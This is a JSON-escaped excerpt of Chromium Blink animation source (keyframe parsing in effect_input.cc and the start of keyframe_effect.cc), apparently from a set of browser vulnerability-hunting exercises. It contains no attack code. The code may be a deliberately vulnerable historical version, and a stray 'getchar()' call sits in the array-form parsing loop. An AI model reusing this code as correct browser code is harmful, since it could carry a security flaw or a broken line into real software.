CSSPropertyID css_property =\n      AnimationInputHelpers::KeyframeAttributeToCSSProperty(property, document);\n  if (css_property != CSSPropertyID::kInvalid) {\n    return !CSSAnimations::IsAnimationAffectingProperty(\n        CSSProperty::Get(css_property));\n  }\n\n  css_property =\n      AnimationInputHelpers::KeyframeAttributeToPresentationAttribute(property,\n                                                                      element);\n  if (css_property != CSSPropertyID::kInvalid)\n    return true;\n\n  return !!AnimationInputHelpers::KeyframeAttributeToSVGAttribute(property,\n                                                                  element);\n}\n\nvoid AddPropertyValuePairsForKeyframe(\n    v8::Isolate* isolate,\n    v8::Local<v8::Object> keyframe_obj,\n    Element* element,\n    const Document& document,\n    Vector<std::pair<String, String>>& property_value_pairs,\n    ExceptionState& exception_state) {\n  Vector<String> keyframe_properties =\n      GetOwnPropertyNames(isolate, keyframe_obj, exception_state);\n  if (exception_state.HadException())\n    return;\n\n  // By spec, we must sort the properties in \"ascending order by the Unicode\n  // codepoints that define each property name.\"\n  std::sort(keyframe_properties.begin(), keyframe_properties.end(),\n            WTF::CodeUnitCompareLessThan);\n\n  v8::TryCatch try_catch(isolate);\n  for (const auto& property : keyframe_properties) {\n    if (property == \"offset\" || property == \"float\" ||\n        property == \"composite\" || property == \"easing\") {\n      continue;\n    }\n\n    // By spec, we are not allowed to access any non-animatable property.\n    if (!IsAnimatableKeyframeAttribute(property, element, document))\n      continue;\n\n    // By spec, we are only allowed to access a given (property, value) pair\n    // once. This is observable by the web client, so we take care to adhere\n    // to that.\n    v8::Local<v8::Value> v8_value;\n    if (!keyframe_obj\n             ->Get(isolate->GetCurrentContext(), V8String(isolate, property))\n             .ToLocal(&v8_value)) {\n      exception_state.RethrowV8Exception(try_catch.Exception());\n      return;\n    }\n\n    if (v8_value->IsArray()) {\n      // Since allow-lists is false, array values should be ignored.\n      continue;\n    }\n\n    String string_value = NativeValueTraits<IDLString>::NativeValue(\n        isolate, v8_value, exception_state);\n    if (exception_state.HadException())\n      return;\n    property_value_pairs.push_back(std::make_pair(property, string_value));\n  }\n}\n\nStringKeyframeVector ConvertArrayForm(Element* element,\n                                      Document& document,\n                                      ScriptIterator iterator,\n                                      ScriptState* script_state,\n                                      ExceptionState& exception_state) {\n  v8::Isolate* isolate = script_state->GetIsolate();\n\n  // This loop captures step 5 of the procedure to process a keyframes argument,\n  // in the case where the argument is iterable.\n  HeapVector<Member<const BaseKeyframe>> processed_base_keyframes;\n  Vector<Vector<std::pair<String, String>>> processed_properties;\n  ExecutionContext* execution_context = ExecutionContext::From(script_state);\n  while (iterator.Next(execution_context, exception_state)) {\n    if (exception_state.HadException())\n      return {};\n\n    // The value should already be non-empty, as guaranteed by the call to Next\n    // and the exception_state check above.\n    getchar();\n    v8::Local<v8::Value> keyframe = iterator.GetValue().ToLocalChecked();\n\n    if (!keyframe->IsObject() && !keyframe->IsNullOrUndefined()) {\n      exception_state.ThrowTypeError(\n          \"Keyframes must be objects, or null or undefined\");\n      return {};\n    }\n\n    BaseKeyframe* base_keyframe = NativeValueTraits<BaseKeyframe>::NativeValue(\n        isolate, keyframe, exception_state);\n    Vector<std::pair<String, String>> property_value_pairs;\n    if (exception_state.HadException())\n      return {};\n\n    if (!keyframe->IsNullOrUndefined()) {\n      AddPropertyValuePairsForKeyframe(\n          isolate, v8::Local<v8::Object>::Cast(keyframe), element, document,\n          property_value_pairs, exception_state);\n      if (exception_state.HadException())\n        return {};\n    }\n\n    processed_base_keyframes.push_back(base_keyframe);\n    processed_properties.push_back(property_value_pairs);\n  }\n  // If the very first call to next() throws the above loop will never be\n  // entered, so we have to catch that here.\n  if (exception_state.HadException())\n    return {};\n\n  // 6. If processed keyframes is not loosely sorted by offset, throw a\n  // TypeError and abort these steps.\n  double previous_offset = -std::numeric_limits<double>::infinity();\n  const wtf_size_t num_processed_keyframes = processed_base_keyframes.size();\n  for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) {\n    if (!processed_base_keyframes[i]->hasOffsetNonNull())\n      continue;\n\n    double offset = processed_base_keyframes[i]->offsetNonNull();\n    if (offset < previous_offset) {\n      exception_state.ThrowTypeError(\n          \"Offsets must be montonically non-decreasing.\");\n      return {};\n    }\n    previous_offset = offset;\n  }\n\n  // 7. If there exist any keyframe in processed keyframes whose keyframe\n  // offset is non-null and less than zero or greater than one, throw a\n  // TypeError and abort these steps.\n  for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) {\n    if (!processed_base_keyframes[i]->hasOffsetNonNull())\n      continue;\n\n    double offset = processed_base_keyframes[i]->offsetNonNull();\n    if (offset < 0 || offset > 1) {\n      exception_state.ThrowTypeError(\n          \"Offsets must be null or in the range [0,1].\");\n      return {};\n    }\n  }\n\n  StringKeyframeVector keyframes;\n  for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) {\n    // Now we create the actual Keyframe object. We start by assigning the\n    // offset and composite values; conceptually these were actually added in\n    // step 5 above but we didn't have a keyframe object then.\n    const BaseKeyframe* base_keyframe = processed_base_keyframes[i];\n    auto* keyframe = MakeGarbageCollected<StringKeyframe>();\n    if (base_keyframe->hasOffset()) {\n      keyframe->SetOffset(base_keyframe->offset());\n    }\n\n    // 8.1. For each property-value pair in frame, parse the property value\n    // using the syntax specified for that property.\n    for (const auto& pair : processed_properties[i]) {\n      // TODO(crbug.com/777971): Make parsing of property values spec-compliant.\n      SetKeyframeValue(element, document, *keyframe, pair.first, pair.second,\n                       execution_context);\n    }\n\n    base::Optional<EffectModel::CompositeOperation> composite =\n        EffectModel::StringToCompositeOperation(base_keyframe->composite());\n    if (composite) {\n      keyframe->SetComposite(\n          ResolveCompositeOperationForKeyframe(composite.value(), keyframe));\n    }\n\n    // 8.2. Let the timing function of frame be the result of parsing the\n    // “easing” property on frame using the CSS syntax defined for the easing\n    // property of the AnimationEffectTimingReadOnly interface.\n    //\n    // If parsing the “easing” property fails, throw a TypeError and abort this\n    // procedure.\n    scoped_refptr<TimingFunction> timing_function =\n        AnimationInputHelpers::ParseTimingFunction(base_keyframe->easing(),\n                                                   &document, exception_state);\n    if (!timing_function)\n      return {};\n    keyframe->SetEasing(timing_function);\n\n    keyframes.push_back(keyframe);\n  }\n\n  DCHECK(!exception_state.HadException());\n  return keyframes;\n}\n\n// Extracts the values for a given property in the input keyframes. As per the\n// spec property values for the object-notation form have type (DOMString or\n// sequence<DOMString>).\nbool GetPropertyIndexedKeyframeValues(const v8::Local<v8::Object>& keyframe,\n                                      const String& property,\n                                      ScriptState* script_state,\n                                      ExceptionState& exception_state,\n                                      Vector<String>& result) {\n  DCHECK(result.IsEmpty());\n\n  // By spec, we are only allowed to access a given (property, value) pair once.\n  // This is observable by the web client, so we take care to adhere to that.\n  v8::Local<v8::Value> v8_value;\n  v8::TryCatch try_catch(script_state->GetIsolate());\n  v8::Local<v8::Context> context = script_state->GetContext();\n  v8::Isolate* isolate = script_state->GetIsolate();\n  if (!keyframe->Get(context, V8String(isolate, property)).ToLocal(&v8_value)) {\n    exception_state.RethrowV8Exception(try_catch.Exception());\n    return {};\n  }\n\n  StringOrStringSequence string_or_string_sequence;\n  V8StringOrStringSequence::ToImpl(\n      script_state->GetIsolate(), v8_value, string_or_string_sequence,\n      UnionTypeConversionMode::kNotNullable, exception_state);\n  if (exception_state.HadException())\n    return false;\n\n  if (string_or_string_sequence.IsString())\n    result.push_back(string_or_string_sequence.GetAsString());\n  else\n    result = string_or_string_sequence.GetAsStringSequence();\n\n  return true;\n}\n\n// Implements the procedure to \"process a keyframes argument\" from the\n// web-animations spec for an object form keyframes argument.\n//\n// See https://drafts.csswg.org/web-animations/#processing-a-keyframes-argument\nStringKeyframeVector ConvertObjectForm(Element* element,\n                                       Document& document,\n                                       const v8::Local<v8::Object>& v8_keyframe,\n                                       ScriptState* script_state,\n                                       ExceptionState& exception_state) {\n  // We implement much of this procedure out of order from the way the spec is\n  // written, to avoid repeatedly going over the list of keyframes.\n  // The web-observable behavior should be the same as the spec.\n\n  // Extract the offset, easing, and composite as per step 1 of the 'procedure\n  // to process a keyframe-like object'.\n  BasePropertyIndexedKeyframe* property_indexed_keyframe =\n      NativeValueTraits<BasePropertyIndexedKeyframe>::NativeValue(\n          script_state->GetIsolate(), v8_keyframe, exception_state);\n  if (exception_state.HadException())\n    return {};\n\n  Vector<base::Optional<double>> offsets;\n  if (property_indexed_keyframe->offset().IsNull())\n    offsets.push_back(base::nullopt);\n  else if (property_indexed_keyframe->offset().IsDouble())\n    offsets.push_back(property_indexed_keyframe->offset().GetAsDouble());\n  else\n    offsets = property_indexed_keyframe->offset().GetAsDoubleOrNullSequence();\n\n  // The web-animations spec explicitly states that easings should be kept as\n  // DOMStrings here and not parsed into timing functions until later.\n  Vector<String> easings;\n  if (property_indexed_keyframe->easing().IsString())\n    easings.push_back(property_indexed_keyframe->easing().GetAsString());\n  else\n    easings = property_indexed_keyframe->easing().GetAsStringSequence();\n\n  Vector<base::Optional<EffectModel::CompositeOperation>> composite_operations =\n      ParseCompositeProperty(property_indexed_keyframe);\n\n  // Next extract all animatable properties from the input argument and iterate\n  // through them, processing each as a list of values for that property. This\n  // implements both steps 2-7 of the 'procedure to process a keyframe-like\n  // object' and step 5.2 of the 'procedure to process a keyframes argument'.\n\n  Vector<String> keyframe_properties = GetOwnPropertyNames(\n      script_state->GetIsolate(), v8_keyframe, exception_state);\n  if (exception_state.HadException())\n    return {};\n\n  // Steps 5.2 - 5.4 state that the user agent is to:\n  //\n  //   * Create sets of 'property keyframes' with no offset.\n  //   * Calculate computed offsets for each set of keyframes individually.\n  //   * Join the sets together and merge those with identical computed offsets.\n  //\n  // This is equivalent to just keeping a hashmap from computed offset to a\n  // single keyframe, which simplifies the parsing logic.\n  HeapHashMap<double, Member<StringKeyframe>> keyframes;\n\n  // By spec, we must sort the properties in \"ascending order by the Unicode\n  // codepoints that define each property name.\"\n  std::sort(keyframe_properties.begin(), keyframe_properties.end(),\n            WTF::CodeUnitCompareLessThan);\n\n  for (const auto& property : keyframe_properties) {\n    if (property == \"offset\" || property == \"float\" ||\n        property == \"composite\" || property == \"easing\") {\n      continue;\n    }\n\n    // By spec, we are not allowed to access any non-animatable property.\n    if (!IsAnimatableKeyframeAttribute(property, element, document))\n      continue;\n\n    Vector<String> values;\n    if (!GetPropertyIndexedKeyframeValues(v8_keyframe, property, script_state,\n                                          exception_state, values)) {\n      return {};\n    }\n\n    // Now create a keyframe (or retrieve and augment an existing one) for each\n    // value this property maps to. As explained above, this loop performs both\n    // the initial creation and merging mentioned in the spec.\n    wtf_size_t num_keyframes = values.size();\n    ExecutionContext* execution_context = ExecutionContext::From(script_state);\n    for (wtf_size_t i = 0; i < num_keyframes; ++i) {\n      // As all offsets are null for these 'property keyframes', the computed\n      // offset is just the fractional position of each keyframe in the array.\n      //\n      // The only special case is that when there is only one keyframe the sole\n      // computed offset is defined as 1.\n      double computed_offset =\n          (num_keyframes == 1) ? 1 : i / double(num_keyframes - 1);\n\n      auto result = keyframes.insert(computed_offset, nullptr);\n      if (result.is_new_entry)\n        result.stored_value->value = MakeGarbageCollected<StringKeyframe>();\n\n      SetKeyframeValue(element, document, *result.stored_value->value, property,\n                       values[i], execution_context);\n    }\n  }\n\n  // 5.3 Sort processed keyframes by the computed keyframe offset of each\n  // keyframe in increasing order.\n  Vector<double> keys;\n  for (const auto& key : keyframes.Keys())\n    keys.push_back(key);\n  std::sort(keys.begin(), keys.end());\n\n  // Steps 5.5 - 5.12 deal with assigning the user-specified offset, easing, and\n  // composite properties to the keyframes.\n  //\n  // This loop also implements steps 6, 7, and 8 of the spec. Because nothing is\n  // user-observable at this point, we can operate out of order. Note that this\n  // may result in us throwing a different order of TypeErrors than other user\n  // agents[1], but as all exceptions are TypeErrors this is not observable by\n  // the web client.\n  //\n  // [1] E.g. if the offsets are [2, 0] we will throw due to the first offset\n  //     being > 1 before we throw due to the offsets not being loosely ordered.\n  StringKeyframeVector results;\n  double previous_offset = 0.0;\n  for (wtf_size_t i = 0; i < keys.size(); i++) {\n    auto* keyframe = keyframes.at(keys[i]);\n\n    if (i < offsets.size()) {\n      base::Optional<double> offset = offsets[i];\n      // 6. If processed keyframes is not loosely sorted by offset, throw a\n      // TypeError and abort these steps.\n      if (offset.has_value()) {\n        if (offset.value() < previous_offset) {\n          exception_state.ThrowTypeError(\n              \"Offsets must be montonically non-decreasing.\");\n          return {};\n        }\n        previous_offset = offset.value();\n      }\n\n      // 7. If there exist any keyframe in processed keyframes whose keyframe\n      // offset is non-null and less than zero or greater than one, throw a\n      // TypeError and abort these steps.\n      if (offset.has_value() && (offset.value() < 0 || offset.value() > 1)) {\n        exception_state.ThrowTypeError(\n            \"Offsets must be null or in the range [0,1].\");\n        return {};\n      }\n\n      keyframe->SetOffset(offset);\n    }\n\n    // At this point in the code we have read all the properties we will read\n    // from the input object, so it is safe to parse the easing strings. See the\n    // note on step 8.2.\n    if (!easings.IsEmpty()) {\n      // 5.9 If easings has fewer items than property keyframes, repeat the\n      // elements in easings successively starting from the beginning of the\n      // list until easings has as many items as property keyframes.\n      const String& easing = easings[i % easings.size()];\n\n      // 8.2 Let the timing function of frame be the result of parsing the\n      // \"easing\" property on frame using the CSS syntax defined for the easing\n      // property of the AnimationEffectTimingReadOnly interface.\n      //\n      // If parsing the “easing” property fails, throw a TypeError and abort\n      // this procedure.\n      scoped_refptr<TimingFunction> timing_function =\n          AnimationInputHelpers::ParseTimingFunction(easing, &document,\n                                                     exception_state);\n      if (!timing_function)\n        return {};\n\n      keyframe->SetEasing(timing_function);\n    }\n\n    if (!composite_operations.IsEmpty()) {\n      // 5.12.2 As with easings, if composite modes has fewer items than\n      // property keyframes, repeat the elements in composite modes successively\n      // starting from the beginning of the list until composite modes has as\n      // many items as property keyframes.\n      base::Optional<EffectModel::CompositeOperation> composite =\n          composite_operations[i % composite_operations.size()];\n      if (composite) {\n        keyframe->SetComposite(\n            ResolveCompositeOperationForKeyframe(composite.value(), keyframe));\n      }\n    }\n\n    results.push_back(keyframe);\n  }\n\n  // Step 8 of the spec is done above (or will be): parsing property values\n  // according to syntax for the property (discarding with console warning on\n  // fail) and parsing each easing property.\n  // TODO(crbug.com/777971): Fix parsing of property values to adhere to spec.\n\n  // 9. Parse each of the values in unused easings using the CSS syntax defined\n  // for easing property of the AnimationEffectTimingReadOnly interface, and if\n  // any of the values fail to parse, throw a TypeError and abort this\n  // procedure.\n  for (wtf_size_t i = results.size(); i < easings.size(); i++) {\n    scoped_refptr<TimingFunction> timing_function =\n        AnimationInputHelpers::ParseTimingFunction(easings[i], &document,\n                                                   exception_state);\n    if (!timing_function)\n      return {};\n  }\n\n  DCHECK(!exception_state.HadException());\n  return results;\n}\n\nbool HasAdditiveCompositeCSSKeyframe(\n    const KeyframeEffectModelBase::KeyframeGroupMap& keyframe_groups) {\n  for (const auto& keyframe_group : keyframe_groups) {\n    PropertyHandle property = keyframe_group.key;\n    if (!property.IsCSSProperty())\n      continue;\n    for (const auto& keyframe : keyframe_group.value->Keyframes()) {\n      if (keyframe->Composite() == EffectModel::kCompositeAdd ||\n          keyframe->Composite() == EffectModel::kCompositeAccumulate) {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n}  // namespace\n\nKeyframeEffectModelBase* EffectInput::Convert(\n    Element* element,\n    const ScriptValue& keyframes,\n    EffectModel::CompositeOperation composite,\n    ScriptState* script_state,\n    ExceptionState& exception_state) {\n  StringKeyframeVector parsed_keyframes =\n      ParseKeyframesArgument(element, keyframes, script_state, exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n\n  composite = ResolveCompositeOperation(composite, parsed_keyframes);\n\n  auto* keyframe_effect_model = MakeGarbageCollected<StringKeyframeEffectModel>(\n      parsed_keyframes, composite, LinearTimingFunction::Shared());\n\n  if (!RuntimeEnabledFeatures::WebAnimationsAPIEnabled()) {\n    // This should be enforced by the parsing code.\n    DCHECK(!HasAdditiveCompositeCSSKeyframe(\n        keyframe_effect_model->GetPropertySpecificKeyframeGroups()));\n  }\n\n  DCHECK(!exception_state.HadException());\n  return keyframe_effect_model;\n}\n\nStringKeyframeVector EffectInput::ParseKeyframesArgument(\n    Element* element,\n    const ScriptValue& keyframes,\n    ScriptState* script_state,\n    ExceptionState& exception_state) {\n  // Per the spec, a null keyframes object maps to a valid but empty sequence.\n  v8::Local<v8::Value> keyframes_value = keyframes.V8Value();\n  if (keyframes_value->IsNullOrUndefined())\n    return {};\n  v8::Local<v8::Object> keyframes_obj = keyframes_value.As<v8::Object>();\n\n  // 3. Let method be the result of GetMethod(object, @@iterator).\n  v8::Isolate* isolate = script_state->GetIsolate();\n  auto script_iterator =\n      ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state);\n  if (exception_state.HadException())\n    return {};\n\n  // TODO(crbug.com/816934): Get spec to specify what parsing context to use.\n  Document& document = element\n                           ? element->GetDocument()\n                           : *LocalDOMWindow::From(script_state)->document();\n\n  // Map logical to physical properties.\n  const ComputedStyle* style = element ? element->GetComputedStyle() : nullptr;\n  TextDirection text_direction =\n      style ? style->Direction() : TextDirection::kLtr;\n  WritingMode writing_mode =\n      style ? style->GetWritingMode() : WritingMode::kHorizontalTb;\n\n  StringKeyframeVector parsed_keyframes;\n  if (script_iterator.IsNull()) {\n    parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj,\n                                         script_state, exception_state);\n  } else {\n    parsed_keyframes =\n        ConvertArrayForm(element, document, std::move(script_iterator),\n                         script_state, exception_state);\n  }\n\n  for (wtf_size_t i = 0; i < parsed_keyframes.size(); i++) {\n    StringKeyframe* keyframe = parsed_keyframes[i];\n    keyframe->SetLogicalPropertyResolutionContext(text_direction, writing_mode);\n  }\n\n  if (!ValidatePartialKeyframes(parsed_keyframes)) {\n    exception_state.ThrowDOMException(DOMExceptionCode::kNotSupportedError,\n                                      \"Partial keyframes are not supported.\");\n    return {};\n  }\n  return parsed_keyframes;\n}\n\nEffectModel::CompositeOperation EffectInput::ResolveCompositeOperation(\n    EffectModel::CompositeOperation composite,\n    const StringKeyframeVector& keyframes) {\n  EffectModel::CompositeOperation result = composite;\n  for (const Member<StringKeyframe>& keyframe : keyframes) {\n    // Replace is always supported, so we can early-exit if and when we have\n    // that as our composite value.\n    if (result == EffectModel::kCompositeReplace)\n      break;\n    result = ResolveCompositeOperationForKeyframe(result, keyframe);\n  }\n  return result;\n}\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_1/exercise_6/keyframe_effect.cc",
    "content": "/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"third_party/blink/renderer/core/animation/keyframe_effect.h\"\n\n#include \"third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_object_builder.h\"\n#include \"third_party/blink/renderer/core/animation/animation_input_helpers.h\"\n#include \"third_party/blink/renderer/core/animation/animation_utils.h\"\n#include \"third_party/blink/renderer/core/animation/compositor_animations.h\"\n#include \"third_party/blink/renderer/core/animation/css/compositor_keyframe_transform.h\"\n#include \"third_party/blink/renderer/core/animation/effect_input.h\"\n#include \"third_party/blink/renderer/core/animation/element_animations.h\"\n#include \"third_party/blink/renderer/core/animation/sampled_effect.h\"\n#include \"third_party/blink/renderer/core/animation/timing_input.h\"\n#include \"third_party/blink/renderer/core/css/properties/css_property_ref.h\"\n#include \"third_party/blink/renderer/core/css/resolver/style_resolver.h\"\n#include \"third_party/blink/renderer/core/dom/element.h\"\n#include \"third_party/blink/renderer/core/dom/node_computed_style.h\"\n#include \"third_party/blink/renderer/core/dom/pseudo_element.h\"\n#include \"third_party/blink/renderer/core/frame/web_feature.h\"\n#include \"third_party/blink/renderer/core/paint/paint_layer.h\"\n#include \"third_party/blink/renderer/core/style/computed_style.h\"\n#include \"third_party/blink/renderer/core/svg/svg_element.h\"\n#include \"third_party/blink/renderer/platform/animation/compositor_animation.h\"\n#include \"third_party/blink/renderer/platform/bindings/exception_state.h\"\n#include \"third_party/blink/renderer/platform/heap/heap.h\"\n#include \"third_party/blink/renderer/platform/runtime_enabled_features.h\"\n\nnamespace blink {\n\nnamespace {\n\n// Verifies that a pseudo-element selector lexes and canonicalizes legacy forms\nbool ValidateAndCanonicalizePseudo(String& selector) {\n  if (selector.IsNull()) {\n    return true;\n  } else if (selector.StartsWith(\"::\")) {\n    return true;\n  } else if (selector == \":before\") {\n    selector = \"::before\";\n    return true;\n  } else if (selector == \":after\") {\n    selector = \"::after\";\n    return true;\n  } else if (selector == \":first-letter\") {\n    selector = \"::first-letter\";\n    return true;\n  } else if (selector == \":first-line\") {\n    selector = \"::first-line\";\n    return true;\n  }\n  return false;\n}\n\n}  // namespace\n\nKeyframeEffect* KeyframeEffect::Create(\n    ScriptState* script_state,\n    Element* element,\n    const ScriptValue& keyframes,\n    const UnrestrictedDoubleOrKeyframeEffectOptions& options,\n    ExceptionState& exception_state) {\n  Document* document = element ? &element->GetDocument() : nullptr;\n  Timing timing = TimingInput::Convert(options, document, exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n\n  EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace;\n  String pseudo = String();\n  if (options.IsKeyframeEffectOptions()) {\n    auto* effect_options = options.GetAsKeyframeEffectOptions();\n    composite =\n        EffectModel::StringToCompositeOperation(effect_options->composite())\n            .value();\n    if (RuntimeEnabledFeatures::WebAnimationsAPIEnabled() &&\n        !effect_options->pseudoElement().IsEmpty()) {\n      pseudo = effect_options->pseudoElement();\n      if (!ValidateAndCanonicalizePseudo(pseudo)) {\n        // TODO(gtsteel): update when\n        // https://github.com/w3c/csswg-drafts/issues/4586 resolves\n        exception_state.ThrowDOMException(\n            DOMExceptionCode::kSyntaxError,\n            \"A valid pseudo-selector must be null or start with ::.\");\n      }\n    }\n  }\n\n  KeyframeEffectModelBase* model = EffectInput::Convert(\n      element, keyframes, composite, script_state, exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n  KeyframeEffect* effect =\n      MakeGarbageCollected<KeyframeEffect>(element, model, timing);\n\n  if (!pseudo.IsEmpty()) {\n    effect->target_pseudo_ = pseudo;\n    if (element) {\n      element->GetDocument().UpdateStyleAndLayoutTreeForNode(element);\n      effect->effect_target_ = element->GetPseudoElement(\n          CSSSelector::ParsePseudoId(pseudo, element));\n    }\n  }\n  return effect;\n}\n\nKeyframeEffect* KeyframeEffect::Create(ScriptState* script_state,\n                                       Element* element,\n                                       const ScriptValue& keyframes,\n                                       ExceptionState& exception_state) {\n  KeyframeEffectModelBase* model =\n      EffectInput::Convert(element, keyframes, EffectModel::kCompositeReplace,\n                           script_state, exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n  return MakeGarbageCollected<KeyframeEffect>(element, model, Timing());\n}\n\nKeyframeEffect* KeyframeEffect::Create(ScriptState* script_state,\n                                       KeyframeEffect* source,\n                                       ExceptionState& exception_state) {\n  Timing new_timing = source->SpecifiedTiming();\n  KeyframeEffectModelBase* model = source->Model()->Clone();\n  return MakeGarbageCollected<KeyframeEffect>(source->EffectTarget(), model,\n                                              new_timing, source->GetPriority(),\n                                              source->GetEventDelegate());\n}\n\nKeyframeEffect::KeyframeEffect(Element* target,\n                               KeyframeEffectModelBase* model,\n                               const Timing& timing,\n                               Priority priority,\n                               EventDelegate* event_delegate)\n    : AnimationEffect(timing, event_delegate),\n      effect_target_(target),\n      target_element_(target),\n      target_pseudo_(),\n      model_(model),\n      sampled_effect_(nullptr),\n      priority_(priority),\n      ignore_css_keyframes_(false) {\n  DCHECK(model_);\n\n  // fix target for css animations and transitions\n  if (target && target->IsPseudoElement()) {\n    target_element_ = target->parentElement();\n    DCHECK(!target_element_->IsPseudoElement());\n    target_pseudo_ = target->tagName();\n  }\n\n  CountAnimatedProperties();\n}\n\nKeyframeEffect::~KeyframeEffect() = default;\n\nvoid KeyframeEffect::setTarget(Element* new_target) {\n  DCHECK(!new_target || !new_target->IsPseudoElement());\n  target_element_ = new_target;\n  RefreshTarget();\n}\n\nconst String& KeyframeEffect::pseudoElement() const {\n  return target_pseudo_;\n}\n\nvoid KeyframeEffect::setPseudoElement(String pseudo,\n                                      ExceptionState& exception_state) {\n  if (ValidateAndCanonicalizePseudo(pseudo)) {\n    target_pseudo_ = pseudo;\n  } else {\n    exception_state.ThrowDOMException(\n        DOMExceptionCode::kSyntaxError,\n        \"A valid pseudo-selector must be null or start with ::.\");\n  }\n\n  RefreshTarget();\n}\n\nvoid KeyframeEffect::RefreshTarget() {\n  Element* new_target;\n  if (!target_element_) {\n    new_target = nullptr;\n  } else if (target_pseudo_.IsEmpty()) {\n    new_target = target_element_;\n  } else {\n    target_element_->GetDocument().UpdateStyleAndLayoutTreeForNode(\n        target_element_);\n    PseudoId pseudoId =\n        CSSSelector::ParsePseudoId(target_pseudo_, target_element_);\n    new_target = target_element_->GetPseudoElement(pseudoId);\n  }\n\n  if (new_target != effect_target_) {\n    DetachTarget(GetAnimation());\n    effect_target_ = new_target;\n    AttachTarget(GetAnimation());\n    InvalidateAndNotifyOwner();\n  }\n}\n\nString KeyframeEffect::composite() const {\n  return EffectModel::CompositeOperationToString(CompositeInternal());\n}\n\nvoid KeyframeEffect::setComposite(String composite_string) {\n  Model()->SetComposite(\n      EffectModel::StringToCompositeOperation(composite_string).value());\n\n  ClearEffects();\n  InvalidateAndNotifyOwner();\n}\n\nHeapVector<ScriptValue> KeyframeEffect::getKeyframes(\n    ScriptState* script_state) {\n  if (Animation* animation = GetAnimation())\n    animation->FlushPendingUpdates();\n\n  HeapVector<ScriptValue> computed_keyframes;\n  if (!model_->HasFrames())\n    return computed_keyframes;\n\n  // getKeyframes() returns a list of 'ComputedKeyframes'. A ComputedKeyframe\n  // consists of the normal keyframe data combined with the computed offset for\n  // the given keyframe.\n  //\n  // https://w3c.github.io/web-animations/#dom-keyframeeffectreadonly-getkeyframes\n  KeyframeVector keyframes = ignore_css_keyframes_\n                                 ? model_->GetFrames()\n                                 : model_->GetComputedKeyframes(EffectTarget());\n\n  Vector<double> computed_offsets =\n      KeyframeEffectModelBase::GetComputedOffsets(keyframes);\n  computed_keyframes.ReserveInitialCapacity(keyframes.size());\n  ScriptState::Scope scope(script_state);\n  for (wtf_size_t i = 0; i < keyframes.size(); i++) {\n    V8ObjectBuilder object_builder(script_state);\n    keyframes[i]->AddKeyframePropertiesToV8Object(object_builder, target());\n    object_builder.Add(\"computedOffset\", computed_offsets[i]);\n    computed_keyframes.push_back(object_builder.GetScriptValue());\n  }\n\n  return computed_keyframes;\n}\n\nvoid KeyframeEffect::setKeyframes(ScriptState* script_state,\n                                  const ScriptValue& keyframes,\n                                  ExceptionState& exception_state) {\n  StringKeyframeVector new_keyframes = EffectInput::ParseKeyframesArgument(\n      target(), keyframes, script_state, exception_state);\n  if (exception_state.HadException())\n    return;\n\n  ignore_css_keyframes_ = true;\n\n  if (auto* model = DynamicTo<TransitionKeyframeEffectModel>(Model()))\n    SetModel(model->CloneAsEmptyStringKeyframeModel());\n\n  DCHECK(Model()->IsStringKeyframeEffectModel());\n  SetKeyframes(new_keyframes);\n}\n\nvoid KeyframeEffect::SetKeyframes(StringKeyframeVector keyframes) {\n  Model()->SetComposite(\n      EffectInput::ResolveCompositeOperation(Model()->Composite(), keyframes));\n\n  To<StringKeyframeEffectModel>(Model())->SetFrames(keyframes);\n\n  // Changing the keyframes will invalidate any sampled effect, as well as\n  // potentially affect the effect owner.\n  ClearEffects();\n  InvalidateAndNotifyOwner();\n  CountAnimatedProperties();\n}\n\nbool KeyframeEffect::Affects(const PropertyHandle& property) const {\n  return model_->Affects(property);\n}\n\nbool KeyframeEffect::HasRevert() const {\n  return model_->HasRevert();\n}\n\nvoid KeyframeEffect::NotifySampledEffectRemovedFromEffectStack() {\n  sampled_effect_ = nullptr;\n}\n\nCompositorAnimations::FailureReasons\nKeyframeEffect::CheckCanStartAnimationOnCompositor(\n    const PaintArtifactCompositor* paint_artifact_compositor,\n    double animation_playback_rate,\n    PropertyHandleSet* unsupported_properties) const {\n  CompositorAnimations::FailureReasons reasons =\n      CompositorAnimations::kNoFailure;\n\n  // There would be no reason to composite an effect that has no keyframes; it\n  // has no visual result.\n  if (model_->Properties().IsEmpty())\n    reasons |= 